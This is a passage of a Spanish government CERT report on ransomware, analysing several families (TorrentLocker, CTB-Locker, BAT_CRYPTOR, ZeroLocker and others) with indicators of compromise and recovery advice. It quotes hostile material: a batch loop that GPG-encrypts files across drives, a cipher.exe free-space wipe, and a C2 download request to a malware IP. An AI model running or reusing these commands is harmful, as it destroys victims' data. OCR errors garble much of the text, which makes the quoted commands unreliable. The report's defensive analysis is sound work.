la clave si el VSS no ha sido eliminado o modificado. Ya que la clave de descifrado es
almacenada en %appdata%\ Microsoft\ Crypto\RSA, seria posible restaurar dicho directorio
a una versién previa para tratar de recuperar la misma. Es altamente recomendable que se
readlice una copia de seguridad de dicho directorio antes de realizar la restauracion del
contenedor RSA.

En versiones mds recientes de CryptoDefense, la recuperacion se hace inviable al no
poderse recuperar la clave de descifrado. Ademds, eliminard los Volume Shadow Copies
para impedir la recuperacién de ficheros y deshabilitard los puntos de restauracion del

sisfema por medio de la entrada de registro:

SIN CLASIFICAR



SIN CLASIFICAR
CCN-CERT 1A-21/14 Medidas de seguridad contra Ransomware CN - cerr

centro criptolégico nacional

HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\SystemRestore

CryptoDefense creard los siguientes ficheros en cada uno de los directorios afectados:
HOW_DECRYPT.TXT
HOW_DECRYPT.HTML
HOW_DECRYPT.URL

De forma similar a CryptoWall creard también una entrada de registro en la que ird
almacenando un historial con los ficheros cifrados:

HKEY_CURRENT_USER\Software\<cadena aleatoria>\PROTECTED

Para asegurar la persistencia en el equipo volcard un binario con nombre aleatorio
dentro del directorio ZAppData% y creard la siguiente entrada de registro:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\Run\""<cadena aleatoria>"" = ""%AppData%\<nombre aleatorio>.exe""

7.4  TORRENTLOCKER

Utilizando una metodologia similar a CryptoLocker y CryptoWall, CryptoTorrent cifrard
una gran variedad de ficheros y solicitard cierta cantidad de BTC para la recuperacién de
los mismos. Sin embargo, el cdédigo utilizado por este especimen es completamente
diferente a dichas familias de malware. El alias asociado a este especimen se debe al uso
de la cadena “Bit Torrent Application” en determinadas entradas de registro; aunque éste
no presente ninguna relacién con el protocolo BitTorrent.

CryptoTorrent fue difundido a partir del mes de Agosto de 2014, centrdndose
principalmente en paises como Australia e Inglaterra por medio de mensajes de phishing
qgue emulaban determinados servicios de paqueteria. Una vez que el usuario descarga vy
ejecuta el fichero danino comienza el proceso de infeccion.

En primer lugar, intentard conectar con el servidor de control con el que intercambiard
un certificado. Unicamente si dicha conexién llega a establecerse el ransomware comenzar
a cifrar los ficheros del equipo. Dicho cédigo daiino se ejecutard desde una copia del
proceso explorer.exe.

Una vez el proceso de infeccion termina, mostrard un mensaje al usuario indicdndole
gue sus ficheros han sido cifrados por parte de CryptolLocker, y que para su recuperacion es
necesario pagar una cantidad de 500 USD en BTC. Del mismo modo que los ransomware
previamente descritos, la pasarela de pago se encontrard dentro del dominio “.onion™.
También proporcionard al usuario gateways Web-to-Tor para facilitar el acceso a las mismas.
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WARNING
We have encrypted your files with CryptoLocker virus

Your important files [including those on the network disk(s), USE, etc): photos, videos, documents etc, were
encrypted with CryptoLocker virus, The only way to get your files back is to buy our decryption software,
Otherwise, vour files will be lost,

-

Caution: Remaoving of CryptoLocker will not restore access to your encrypted files,

Click here to buy decryption software

Our website should also be accessible from one of these links:

http:/

http:s/
http: s/

http:/

Figura 31. Instrucciones, TorrentLocker

TorrentLocker, aungue intente emular el comportamiento de CryptoLocker, presenta
un cifrado mucho mds débil que hace posible la recuperacion de los ficheros afectados.
Véase el siguiente punto para mds informacion.

7.4.1 DESINFECCION / RECUPERACION DE FICHEROS

En las primeras variantes de este ransomware, los atacantes cometieron un gran error
a la hora de disenar el algoritmo de cifrado, ya que utilizaron simplemente una funcién XOR
con un determinado keystream que permanecia constante para todos los ficheros del
equipo [Ref.-32]. Este hecho hace posible que, a partir de un fichero cifrado y su versidn en
texto plano (es decir, sin cifrar), sea posible recuperar el keystream (utilizando una funciéon
XOR entre ambos) con el que descifrar el resto de ficheros del equipo.

Este keystream estd formado por bloques de 16 bytes y serd empleado para cifrar
Unicamente los 2 primeros MB de cada fichero, dejando el resto intacto. Si el fichero es
inferior a este tamano y no es multiplo de 16, el especimen dejard un nUmero determinado
de bytes (del final del fichero) sin cifrar que compense el "mddulo 16" del tamano del
fichero.

Si el usuario se ha visto afectado por alguna de estas versiones, se recomienda utilizar
la herramienta publicada en Bleepingcomputer: TorrentUnlocker [Ref.-33]. Dicha
herramienta guiard al usuario por una serie de pasos sencillos para conseguir recuperar los
ficheros afectados.

Unicamente es necesario proporcionar un fichero cifrado de al menos 2 MB de
tamano vy su version sin cifrar. A partir de ambos ficheros se generard el keystream con el que
podrdn recuperarse el resto de documentos.
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Did my app help and you want to donate? Thanks for Helping the cause! - Nathan Scott JP) Donatel

Key Generation

all fi
THESE FILES MUST BE 2MB OR OVER!

Simply follow the order of the

application to decrypt your files. Original File

Figura 32. TorrentUnlocker

Las Ultimas versiones de TorrentLocker, tal y como muestra el andlisis llevado a cabo
por isightpartners [Ref.-34], han mejorado el proceso de cifrado y ya no emplea el mismo
keystream para todos los ficheros, por lo que el proceso anterior serd inservible.

Cabe destacar que el ransomware también hard uso de vssadmin.exe para eliminar
las posibles Shadow Copies del equipo. Algunos indicadores de compromiso de este
especimen reflejan las siguientes entradas de registro:

HKCU\Software\Bit Torrent Application\Configuration\01000000
KCU\Software\Bit Torrent Application\Configuration\02000000

HKCU\Software\Bit Torrent Application\Configuration\03000000
HKCU\Software\Bit Torrent Application\Configuration\04000000
HKCU\Software\Bit Torrent Application\Configuration\05000000

Ademds, para asegurar su persistencia, creard una copia dentro del directorio
C:\WINDOWS\<nombre aleatorio>.exe y anadird la entrada correspondiente en
HKCU\ Software \ Microsoft\ Windows\ CurrentVersion\Run\<nombre aleatorio> apuntando a
dicho ejecutable.

7.42 CARTA CERTIFICADA

El dia 2 de diciembre de 2014 se detectd una nueva campaina masiva de correos
electrénicos cuyo objetivo era infectar los equipos informdaticos con una nueva variante de
la familia Torrentlocker.

La via de entrada es un correo proveniente de support@correos24.net simulando ser un
mensaje de la compania de correos espanola. En el correo se especifica un enlace a través
del que se accede a una supuesta pdgina para acceder a la informacién sobre el envio. La

pdgina a la que se redirigia la peticidn pertenecia al dominio correos24.net.

SIN CLASIFICAR



SIN CLASIFICAR
CCN-CERT 1A-21/14 Medidas de seguridad contra Ransomware CN - cerr

centro criptolégico nacional

Una vez se ha redirigido a la victima a la falsa pdgina web de correos, se le solicita la
infroduccién por pantalla de un captcha para proceder a la descarga de la
documentacién. La introduccidn del captcha parece anadir legitimidad a la operacion, no
haciendo sospechar a la victima que estd a punto de descargar un fichero ZIP en el que se
encuentra un ransomware de la familia torrentlocker que cifrard el contenido de su equipo.
El fichero descargado (ZIP) contiene un Unico ejecutable, a veces llamado “Carta
certificada.exe”.

Esta campana de infeccidon ha sido avistada en numerosos paises:

Alemania
Australia
Austria
Canada
Espana

Italia

Irlanda

Francia

Nueva Zelanda
Paises Bajos
Reino Unido
Republica Checa
Turquia

Para cada uno de los casos, tanto el correo electrénico recibido como el enlace a la
pdgina de infeccidn estdn personalizados para suplantar al sistema de transporte legitimo
de cada pais. Se trata por tanto de un ataque dirigido en funcién del pais en el que se
reciba el correo.

Una vez ha sido ejecutado el fichero de malware descargado, las acciones que lleva a
cabo el ransomware son las siguientes:

1. Lavictima es infectada por el ransomware Torrentlocker.
Torrentlocker informa al servidor C&C.

C&C envia la pdgina HTML con la informacion del rescate exigido.
Torrentlocker genera una clave para cifrar los ficheros del equipo.
La clave de cifrado es enviada al servidor C&C.

Torrentlocker cifra los ficheros del equipo.

Se elimina la clave de cifrado del equipo.

Se muestra a la victima la pdgina HTML con la informacién de pago.

Y 0o N o a0 LN

Se reporta al C&C el nUmero de ficheros cifrados en dicho equipo.

Esta variante de Torrentlocker ha corregido las debilidades que presentaban sus
predecesores. Las caracteristicas mds importantes que presenta son las siguientes:

e El algoritmo de cifrado empleado para cifrar los ficheros del equipo infectado es
el AES, con una clave de 256 bits, y emplea CBC (Ciber-block chaining) en lugar de
CTR(Counter). El modo de cifrado CBC impide que podamos descifrar todos los
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ficheros conociendo el keystream extraido de uno de ellos. Es decir, no es posible
descifrar los ficheros si no se obtiene la clave de cifrado.

e El envio de la clave de cifrado al servidor C&C se realiza de forma segura. La
clave de cifrado generada en el equipo se cifra con una clave publica RSA de
2048 bits que pertenece al C&C. De esta manera, Unicamente serd el C&C el que
pueda descifrar el criptograma que contiene la clave de cifrado. Ademds la
comunicacion con el C&C se realiza de forma segura a usando el protocolo SSL.

e Esta variante de Torrentlocker tiene la posibilidad de extraer las credenciales de los
clientes de correo instalados en el equipo infectado. Ademds también puede
enviar al C&C los contactos almacenados en los mismos clientes de correo, con el
fin de propagar la campana. Las aplicaciones de correo afectadas son:
Thunderbird, Outlook, Outlook Express y Windows Mail.

e Lapdgina através de la que se efectla el pago estd ubicada en la red TOR.

7.4.3 DESINFECCION / RECUPERACION DE FICHEROS
Tras la infeccidn, se pueden dar dos casos diferentes:

1. Detectamos la infeccién antes de que cifre todos los ficheros.
2. Somos conscientes de la infeccidon una vez se muestra el aviso HTML por pantalla.

En el primer caso, hemos de apagar el equipo tan pronto como sea posible, para
evitar que continle el cifrado de ficheros. Tras ello iniciaremos el equipo en modo a prueba
de fallos y ejecutaremos el software antivirus que dispongamos. En este escenario existe la
posibilidad de recuperar cierto niUmero de ficheros que no han sido cifrados.

En el segundo caso todos los ficheros han sido cifrados por Torrentlocker, hemos de
proceder a la desinfeccién del malware para prevenir que futuros ficheros sean cifrados. Se
recomienda el empleo de antivirus para escanear el equipo en busca del malware.

Algunas de las rutas en las que se suele ubicar este tipo de ransomware son:
Blemp%

C:\<random>\<random>.exe

%AppData%

%LocalAppData%

%ProgramData%

%WInDir%

Se recomienda el uso de la herramienta "Trend Micro AntiRansomware Tool", que frata
de eliminar una infeccién por ransomware.

Las recomendaciones de desinfeccién son similares a las explicadas anteriormente
para la familia Torrentlocker.

No es posible recuperar los ficheros cifrados a no ser que se disponga de la clave de
cifrado original, ya que el algoritmo de cifrado empleado no tiene debilidad conocida.

Ademds, nunca se recomienda pagar el rescate porque:
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e Podemos no recibir la clave de descifrado nunca.

e El ransomware asegurard su persistencia para repetir periddicamente el cifrado de
ficheros con claves diferentes.

e Estamos financiando de esta manera futuras campanas de ransomware.

El pago ha de ser siempre la Ultima opcidén que tengamos. En el caso de esta variante
de Torrentlocker se ha estimado que Unicamente el 1.5% de los afectados ha pagado el
rescate (el equivalente a unos 600.000% en bitcoins).

Es necesario verificar si las Shadow Copies no han sido borradas del equipo infectado.
Si estdn disponibles seremos capaces de recuperar parcial o totalmente los ficheros que han
sido cifrados. Aplicaciones como “Shadow Explorer” nos permitirdn identificar répidamente si
las Shadow Copies estdn disponibles.

Si no se dispone de copias de seguridad de los ficheros cifrados, podemos intentar la
recuperacion de los mismos empleando software forense como Recuva, R-Studio o
PhotoRec.

7.5  CRYPTOGRAPHIC LOCKER

Durante los meses de Agosto y Septiembre de 2014 se identificd un nuevo ransomware
bajo el nombre CryptoGraphic Locker que utilizaba exploits-kits como principal via de
infeccion (posiblemente mediante exploits para Silverlight tal y como indican algunos
usuarios en KernelMode [Ref.-35]).

Este ransomware utiliza AES-128 para cifrar el siguiente listado de ficheros: .odt, .ods,
.0dp, .odm, .odc, .odb, .doc, .docx, .docm, .wps, Xls, Xlsx, xlsm, xlsb, Xk, .ppt, .pptx, .pptm,
.mdb, .accdb, .pst, .dwg, .dxf, .dxg, .wpd, .rif, wb2, .mdf, .dbf, .psd, .pdd, .pdf, .eps, .qi,
indd, .cdr, .dng, .3fr, .arw, .srf, .sr2, . mp3, .bay, .crw, .cr2,.dcr, .kdc, .erf, .mef, .mrw, .nef, .nrw,
.orf, raf, .raw, .rwl, rw?2, r3d, .ptx, .pef, .srw, x3f, .Ink, .der, .cer, .crt, .pem, .pfx,.p12, .p7b, .p7c,
Jpg. .png. fif, joeg, .gif, .omp, .exif, .ixt.

Los ficheros generados presentardn extension “.clf” mientras que los ficheros originales
serdn eliminados. Sin embargo, éstos no serdn eliminados de forma segura (sobrescribiendo
su contenido), por lo que es posible recuperar los mismos mediante herramientas de andlisis
forense. Un listado de los ficheros afectados es almacenada en
Z%Temp% \ CryptoLockerFilelList.txt.

El ransomware dispone de una lista de nombres (mbam, spyhunter, rstrui, regedit,
procexp, etc.) asociados a procesos que ftratard de terminar en el caso de que se
encuentren en ejecucién durante el proceso de infeccion. Algunos de estos procesos se
corresponden con herramientas de seguridad y administrativas: Process Explorer,
MalwareBytes, Process Hacker, Msconfig, etc.

Una vez ha finalizado con el cifrado de ficheros modificard el wallpaper del usuario y le
mostrard una ventana indicdndole el proceso de recuperaciéon de los ficheros. El atacante
solicitard el pago de 0.2 BTC (unos 100$) para la recuperacion de los mismos.
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Cryptographic Locker ]

How to pay us in bitcoin
Useful site: howtobuybitcoins.info (find exchanges in your country)

View enciypred filos

erna

ALl VIR FILES HAVE REEN ENFRVYPTED

CRYPTOLOCKER

Figura 33. Instrucciones, CryptoGraphic Locker

7.5.1 DESINFECCION / RECUPERACION DE FICHEROS

Debido a que el especimen no elimina los puntos de restauraciéon ni las copias
realizadas por el VSS es posible recuperar los ficheros mediante este servicio (véase punto 5).
Ademds, como se indicd anteriormente, el ransomware no elimina de forma segura los
ficheros originales, por lo que es posible utilizar herramientas forenses para su recuperacion.

Herramientas como Ontrack EasyRecovery, R-Studio, efc., permiten llevar a cabo este
proceso. Puede enconfrarse un listado completo de herramientas de este fipo en
Forensicswiki [Ref.-27].

Téngase en cuenta que es preferible el uso de herramientas de recuperacion live-CD,
o bien montar la particion afectada en otro equipo para evitar que los ficheros eliminados
puedan ser sobrescritos durante el proceso de recuperacion.

Para proceder con la eliminacién de este ransomware se deberd borrar la entrada de
registro Clock dentro de HKCU\Software\ Microsoft\ Windows\ CurrentVersion\Run\, la cual
apuntard al binario correspondiente. Dicho binario deberd ser eliminado también. Por otro
lado, las siguientes entradas de registro deberdn ser restauradas a su valor original:

HKCU\Control Panel\Desktop\Wallpaper
KCU\Control Panel\Desktop\WallpaperStyle
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En Noviembre de 2014 fue identificada una nueva variante de ransomware
perteneciente a la misma familia que CryptoGraphic Locker, el cual se autodenominaba:
CoinVault. Dicho nombre puede observarse en el wallpaper establecido por el especimen
una vez infecta el sistema.

CoinVault

Figura 34. CoinVault

El ransomware utiliza una metodologia similar a la empleada por CryptoGraphic
Locker, cifrando gran variedad de ficheros con AES. Ademds, comete el mismo error al no
eliminar los Shadow Volumes. Se recomienda, por tanto, llevar las mismas acciones
correctivas descritas anteriormente. Los ficheros asociados por CoinVault son:

%AppData%\Microsoft\Windows\coinvault.exe

% AppData%\Microsoft\Windows\edone

%AppData%\Microsoft\Windows\filelist.txt

% Temp%\CoinVaultFileList.txt

% Temp%\wallpaper.jpg

Para garantizar la persistencia en el equipo, anadird también la entrada de registro:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\VVault
"% AppData%\Microsoft\Windows\coinvault.exe"

7.6 BAT_CRYPTOR

Durante los meses de Julio y Agosto de 2014 las companias Symantec y Trend Micro
informaban de un nuevo tipo de ransomware, caracterizado por el uso de GPG (GNU
Privacy Guard) para el cifrado de los ficheros del sistema infectado. Dicho especimen ha
sido apodado como Trojan.Ransomcrypt.L y BAT CRYPTOR.A [Ref.-36] por ambas companiias
respectivamente.

El vector de entrada de dicho malware se realiza principalmente por medio de
mensajes de spam, en el que se envia como adjunto un JScript que servird de dropper de los

SIN CLASIFICAR



SIN CLASIFICAR
CCN-CERT 1A-21/14 Medidas de seguridad contra Ransomware CN cerr

ficheros daninos, dentro de los que se incluye una copia de la herramienta GnuPG. Dicha
herramienta serd renombrada a svchost.exe.

El malware eliminard el directorio %appdata%/GnuPG/* en el cual se almacenan
claves generadas por GPG. A continuacién, importard la clave publica del atacante
secrypt.cry descargada por el dropper y generard nuevas claves utilizando GPG; una
publica (pubring.gpg) y otra privada (secring.gpg).

ypt.cry

01062608, explres O

[17 bits
" Styukey (Styxkey) <unstyx@gmail.com="
; . keyid BACI: 3 0

Figura 35. Informacidn secrypt.cry

La clave publica (pubring.gpg) se utilizard para cifrar los archivos del sistema. La clave
privada (secring.gpg) se dejard en el sistema afectado; sin embargo, serd cifrada con la
clave publica previamente importada (secrypt.cry), complicando de este modo la
recuperacidon de los ficheros cifrados. Dicha clave serd posteriormente renombrada a
KEY.PRIVATE. La siguiente captura, correspondiente al script en batch danino, describe en
detalle todo este proceso.

BSCVESPRB%- -import "STEMP%\secrypt.cry"
FSC?%%PRB%--homedlr "STEMPS:" --batch --gen-key genkey.cry
% always --no-verbose -g --encrypt-files "STEMP%\secring.gpg

ing.gpg"
ring. apq”
ring. gpg"

Figura 367. Script .bat

El contenido del fichero genkey.cry utilizado para la generacién de las nuevas claves
se muestra a continuacion.

%pubring pubring.gpg
%secring secring.gpg
Key-Type: RSA
Key-Length: 1024
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Name-Real: unstyx
Name-Comment: unstyx
Name-Email: unstyx@mail2tor.com
Expire-Date: 0

Passphrase: unstyx

Como se observa, las claves RSA fienen una longitud de 1024 bits, cuyo nombre
asociado es unstyx, correspondiéndose también con el passphrase de las mismas.

Fijese que antes de mover o eliminar ciertos ficheros (por ejemplo la clave privada),
éstos son sobrescritos con cierto padding para dificultar el andlisis forense. Como se muestra
en la siguiente captura, dicho proceso se realizard también con diversos ficheros generados
por GPG. Algunas variantes [Ref.-37] se apoyardn en herramientas como sdelete para llevar
a cabo dicho proceso de forma mds eficiente.

B= R TEMP%
= "SRTEMPR:
-DDDDEEEEEEEEEDDDD >

BB %1 EMPY

Figura 378. Sobrescritura de ficheros

El especimen comenzard a recorrer las unidades desde la “B:" hasta la “Z:" para cifrar
los ficheros de cierta extension con la clave pUblica previamente generada. En concreto, se
cifrardn todos los ficheros: .doc, .docx, xls, xlsx, .pdf, .cer, .jpeg, .jpg. .ppt, .mdb, rar, .1cd,
.cd, zip, .7z.

Algunos directorios, tales como Windows, Temp, AppData, Temporary Internet,
Recycle, etc., serdn excluidos de dicho proceso. La orden utilizada desde el script en batch
para cifrar los documentos de cada unidad se muestra a continuacion:

if exist B:\*.* for /r "B:\" %%i IN (*.doc *.docx *xlIs *.xIlsx *.pdf *.cer
*jpeg *.jpg *.ppt *.mdb *.rar *.1cd *.cd *.zip *.7z) do (echo svchost.exe -r
unstyx --yes --trust-model always --no-verbose -q --encrypt-files "%%i" A&
move 1y "%%i.gpg" "ToTol" A& RENAME "ToTo~fi"

"%%~ni%%~xi.unstyx@gmail_com">> "%TEMP%\ cptbase.bin)
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Finalmente el script volcard un fichero de texto con nombre UNSTYX_GMAIL_COM.ixt
en diversos directorios del sistema infectado y lo abrird con la orden start notepad.exe
"<path>\UNSTYX_GMAIL_ COM.ixt". El contenido de dicho fichero, escrito en cirilico,
especifica los pasos que el usuario debe seguir para poder recuperar los ficheros cifrados.

En el mismo se advierte que el usuario deberd enviar un mail al correo
unstyx@gmail.com o uncrpt@mail2tor.com adjuntando el fichero KEY.PRIVATE asi como varios
ficheros cifrados. El atacante, fras recibir un pago cercano a los 150€ por parte del
afectado, supuestamente devolverd un fichero (UNCRYPT.KEY) que, junto con la herramienta
uncrypt-key.exe, permitird recuperar los ficheros cifrados.

Bce daiine Geu 3AUMGPOBAHDl u 3ABNMOKWPOBAHbI anroputMoM RSA-1024

Instruction / WHcTpykuuA: (For ENG users - translate.google.com)
KpaTko 1 no nyHkTam:
1. EcTe npobneMa - sauudpoBaHsle paine
2. HyxHo pacuuppoBaTe daiine, Torpa npofneMa McuezHeT.
3. Mpobnemy pewuTb BOSMOKHO, HE NepexvBaiTe.
4, nA peweHWd [aHHOW NpobneMsl HYXHO 06LEJMHWTE HaWW pecypcl.
Bawn pecypcel:
- e-mail
- JoBEpUE
- 3NeKTpPOHHAR BanwTa., B 3Hak BnarofapHocTH 3a cTONb 3anoMUHAKWWACA ypok.
Hawn pecypcel:
- PazfnokwpoBaTk knwy, HeoOXofWMeA gnA nporpamMMel feunppatopa (uncrypt-key. exe)
- MouumuTe Ha KoMnewTepe apxue UNCRYPT-KEY.zZlp - TaM BCE ecTh,
5. Mol He Te, KTO WWpYWT NaHHLe, Nony4awT CpefcTBa W 3aTeM NponapjawT.
B maHHoM cnydae Bel W Bnpaepy WMeeTe 10G% BOSMOMHOCTE pasfnokupoBaTe dafine.
Toneko ecTk HeBonbwoe BpeMeHHoe orpaHMyeHwe (cpok TroOpHOCTW KNkda BeifupaeTcA cnydaiideiM ofpazoM o7 5 o 21 gHA)
5.1. ¥ Bac ecTk [Ba BapWaHTa:
a) QopMaTMpoBaTE OMCK W BepHyTe 0% dalinoe - HenpaeuneHeid eeibop : (
6) KynuTb yHWKEnbHIA KN4 BOCCTAHOBMNEHWA W BepHyTe 10C% daiinoe - MpaeunsHo

5.2, MWceMa C Yrpo3aMmi NPUBERyT K YHANeHWK CeKpeTHOro Kwda

Figura 38. Instrucciones para la recuperacion de ficheros

Ademds del proceso previomente descrito, el atacante volcard una copia del
programa  WebBrowserPassView para recuperar los passwords almacenados en los
navegadores (Internet Explorer, Mozilla Firefox, Google Chrome, Safari, y Opera). Una vez
volcados, utilizard un cliente SMTP para enviar los mismos a cierta cuenta controlada por el
atacante.

7.6.1 DESINFECCION / RECUPERACION DE FICHEROS

Hasta la fecha actual no se han encontrado vulnerabilidades o un método que
permita recuperar los ficheros cifrados, al no disponer de la clave privada correspondiente.
Para prevenir este tipo de infecciones, se recomienda llevar a cabo las contramedidas
descritas en el punto 0. Fijese que el vector de infeccién utilizado es un fichero adjunto
desde un mail, en el que se anima al usuario a ejecutar el mismo. Un usuario correctamente
concienciado en este tipo de técnicas de ingenieria social serd la mejor contramedida para

prevenir este tipo de infecciones.
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7.7  CTB-LOCKER

Uno de los ransomware mas sofisticados identificados durante el 2014 ha sido CTB-
Locker (Curve-Tor-Bitcoin Locker), también conocido como Critroni. A diferencia de ofros
ransomware, este especimen [Ref.-38] se caracteriza por utilizar Tor para su comunicacion
con el servidor de control (el cual es alcanzable Unicamente dentro del dominio *.onion”),
dificultando enormemente la localizaciéon del mismo. Ademds, el esquema criptogrdfico
utilizado hace realmente compleja la recuperacion (descifrado) de los ficheros, incluso si el
tréfico entre el malware y el C2 es interceptado.

Dicho cifrado se apoya en ECDH (Elliptic curve Diffie-Hellman). Ya que en ningin
momento se expone la clave privada del servidor, se hace inviable descifrar el secreto
compartido calculado a partir de dicha clave privada y la clave publica del cliente (la cual
estd embebida en el propio cuerpo del malware). Uno de los vectores de entrada de este
ransomware procede de la infeccidén previa de otro malware (por ejemplo, mediante:
Win32.Joleee), el cual se encarga de descargar y ejecutar CTB-Locker.

Una descripcidon en detalle de las acciones daninas llevadas a cabo por dicho
malware se describe en Securelist [Ref.-39].

CTB-Locker se copiard dentro del directorio CSIDL_COMMON_APPDATA y anadird una
nueva tarea a ejecutar desde el Task Scheduler. Posteriormente recorrerd todas las unidades
montadas para cifrar los siguientes tipos de ficheros: .ixt, .doc, .docm, .docx, .rif, xlk, xls,
Xlsb, xlsm, .mdb, .mdf, .jpe, .jpeg, .cr2, .raw, .rw2, rwl, .dwg, .dxf, .dxg, .psd, .3fr, .accdb, .qi,
.arw, .bay, .blend, .cdr, .cer, .crt, .crw, .dbf, .dcr, .dng, .eps, .erf, .indd, .kdc, .mef, .mrw, .nef,
.odt, .pl12, .p7c, .pem, .ppt, .pptm, .pptx, etc.

Los ficheros cifrados resultantes serdn renombrados con la extensiéon CTBL o CTB2.

Posteriormente se mostrard una ventana al usuario exigiendo el pago de 0.159 BTC
para la recuperacion de los ficheros. Ademds, reemplazard el fondo de escritorio por una
imagen volcada en %MyDocuments%\ AllFilesAreLocked<id_usuario>.bmp que contiene
informacion sobre el pago y volcard el fichero %MyDocuments%\ <aleatorio>.html en el que
anadird la lista de ficheros que han sido cifrados.

Your documents, photos, databases and other important files have been encrypted with Server accepts payment in Bitcoin (BTC) only.
strongest encryption and unique key, generated for this computer. 3 2 v 1 3

1.P t of 0.15999999 BTC (about of 96 USD) to add E
Private decryption key is stored on a secret Internet server and nobody can decrypt your %, 2TOUNS,0 (eboutl ) $0 oudress
files until you pay and obtain the private key. _ _
Press View' to.view the list of files that have been encrypted. 2. Transaction will take about 1530 minutes to confirm.

Press "Next' to connect to the secret server and follow instructions. Decryption will start automatically. Do not: power off computer, run antivirus program,
disable internet connection. Failures during key recovery and file decryption may lead to)
accidental damage on files.

If you have no Bitcoins press "Exchange’.

Figura 40. Instrucciones para la recuperacion de ficheros
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Previo al cifrado de los ficheros, se utilizard Zlio para su compresion. Posteriormente, se
empleard AES (hash SHA256) con el secreto compartido derivado de ECDH utilizado como
clave. Debido a que la clave privada (enviada al servidor de forma segura) no es
almacenada en el cliente no es posible recuperar los ficheros cifrados.

A diferencia de ofras muestras de malware que se apoyan en un cliente de Tor para
realizar su conexidn con el dominio “.onion”, CTB-Locker implementa dicha funcionalidad
dentro de su binario a partir del cddigo open-source del proyecto TOR.

7.7.1 CTB-LOCKER 2.0

A finales de Enero de 2015, se produjo una importante campana de distribucién de
una versidon mejorada del original CTB-Locker. El vector de infeccion en este caso estaba
intfimamente ligado al conocido downloader Dalexis, que se propagaba a través de correo
electréonico en el interior de ficheros comprimidos con extensiones .zip o .cab.

La nueva versidn de CTB-Locker presenta las siguientes mejoras:

e El fiempo limite para que se redlice el rescate aumenta de las 72 horas de la
version original a 96.

e Se personalizan los mensajes que contfienen las instrucciones para realizar el pago
anadiendo nuevos lenguaijes en funcién de la geo-localizacién de la victima.

Your documents, photos, databases and other important files have been encrypted with strongest
encryption and unique key, generated for this computer.

Private decryption key is stored on a secret Internet server and nobody can decrypt your files
until you pay and obtain the private key.

You only have 96 hours to submit the payment. If you do not send money within provided time, all
your files will be permanently crypted and no one will be able to recover them.

Press ‘View' to view the list of files that have been encrypted.

Press ‘Next’ for the next page.

O 95 50 03

Figura 41. CTB-Locker 2.0 [Ref.-45]

e Se permite el descifrado gratuito de hasta 5 ficheros escogidos por la victima.
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7.7.2 DESINFECCION / RECUPERACION DE FICHEROS

A fecha actual no se han encontrado vulnerabilidades o un método que permita
recuperar los ficheros cifrados, al no disponer de la clave correspondiente. Un ataque por
fuerza bruta es también inviable, debido al tiempo que se necesitaria para obtener la clave
de cifrado. El ransomware, ademdas, tratard de eliminar las Shadow Copies para evitar que el
usuario pueda restaurar copias de seguridad.

Para prevenir este tipo de infecciones se recomienda llevar a cabo las contramedidas
descritas en el punto 0.

Para eliminar manualmente la infeccion de este ransomware deberd eliminarse
cualquier ejecutable situado en el directorio %Temp% y posteriormente limpiar el trabagjo
oculto del programador de tareas de Windows (Windows Task Scheduler).

7.8  ZEROLOCKER

Zerolocker es ofro ransomware descubierto en Agosto de 2014, el cual genera una
clave aleatoria de 160 bits para cifrar [Ref.-40] mediante AES todos los ficheros del disco duro
(incluyendo binarios). Unicamente quedardn exentos de dicho cifrado ficheros superiores a
20 MB asi como los directorios: "Windows", "WINDOWS", "Program Files", "ZerolLocker" y
"Desktop". Los ficheros cifrados por ZerolLocker serdn renombrados con la extension
“.encrypt”. mientras que los ficheros originales serdn eliminados.

32112014 16:47 b4 __init__.py.encrypt
52 Fileds> 187.552 hytes

Divectory of C:s\Python2VwLiblib2todspgend

COony.py.encrypt
. driver.py.
5.568 granmnar.py.e
.BEA g -

.256
4.176
.328
LB16 -
168 J.Ennrppt
bJ.fﬂﬂ hy*l;

Directory of C:xPython2?xLibxlib2to3stests

Sinadir #85 % _encrypt | more

Figura 392. Instrucciones para la recuperacién de ficheros

Para asegurarse de que los ficheros originales no son recuperables, hard uso del binario
cipher.exe, mediante el cual sobrescribird el espacio libre en la unidad C. Con esto se
garantiza que los ficheros marcados como “eliminados” en el sistema de ficheros son
sobrescritos. La orden utfilizada es: C:\WINDOWS\SYSTEM32\ CIPHER.EXE /W:C:\

El ransomware redalizard diversas peticiones a la IP 5.199.171.47 (embebida en el propio
binario) solicitando determinados recursos. Por un lado descargard la aplicaciéon
ZeroRescue.exe y la guardard en el directorio C:\ZeroLocker.
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[GET Apatriotessansviolence HTTR/L.1
Host: 5.199.171.47
IConnection: Keep-alive

HTTR /1.1 200 OK

Cate: Sun, 02 Mow 2014 15:45:07 GMT

Server: Apache/2.2.15 (Centos)
Last-modified: wed, 06 Aug 2014 01:10:09 GMT
ETag: "798lacd-63800-4ffTebazz2efor”
laccept-Ranges: bytes

Icontent-Length: 407552

IConnection: close

Icontent-Type: text/plain; charset=uTF-8

Figura 403. Descarga de binario

A pesar de tener cierta clave puUblica correspondiente a una cartera Bitcoin embebida
en el propio binario, realizard otra peticion GET a dicho equipo para solicitar una nueva
cartera, que se almacenard dentro del fichero address.dat, también en el directorio
C:\ZerolLocker.

|J Address I_} CihZeroLocker

’ address log
File and Folder Tasks ¥ DAT File DAT File
1KE 1KB
Other Places ¥
i i FeroRescue ¢ L WINDOWS' system 32 cmd.exe
. - \:} Task Manager
Details ae C:\ZeroLocker>type address.dat

N1 1DEvhtnKY Z6UGw?5 8 heULnS5JGyahuw]SdF
C:~EeroLocker>

Figura 414. Ficheros descargados

El especimen enviard la clave aleatoria generada al servidor, junto con ofros
pardmetros tales como la MAC del equipo vy la direccién Bitcoin del atacante. Sin embargo,
el servidor responderd con un 404 a dicha peticidén GET, por lo que es posible que el servidor
no almacene dicha informacién. Esto significa que aungue las victimas realicen el pago
exigido seguramente no recuperen sus ficheros.

root@ccn-lab: /tmpg tsh

inning

Figura 425. Envio de la clave, MAC vy direccidn Bitcoin.

El binario ZeroRescue.exe serd el responsable de mostrar el siguiente mensaje al
usuario, solicitdndole el pago de 300$ en BTC por descifrar sus ficheros. Dicha cantidad
aumentard a 500% y 1000$ segun se demore dicho pago. En la propia ventana se indicard la
direccidén BTC, previamente recuperada del servidor, a la cual realizar el pago.
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¥ Task Manager =10O] x|

IMPORTANT! PLEASE READ!

Unfortunately the files on this computer (ie. documents, photos, videos) have
been encrypted using an extremely secure and unbreakable algonthm. This
means that the files are now useless unless they are decrypted using a key.

-

The good news is that your files are not lost forever! This tool is able
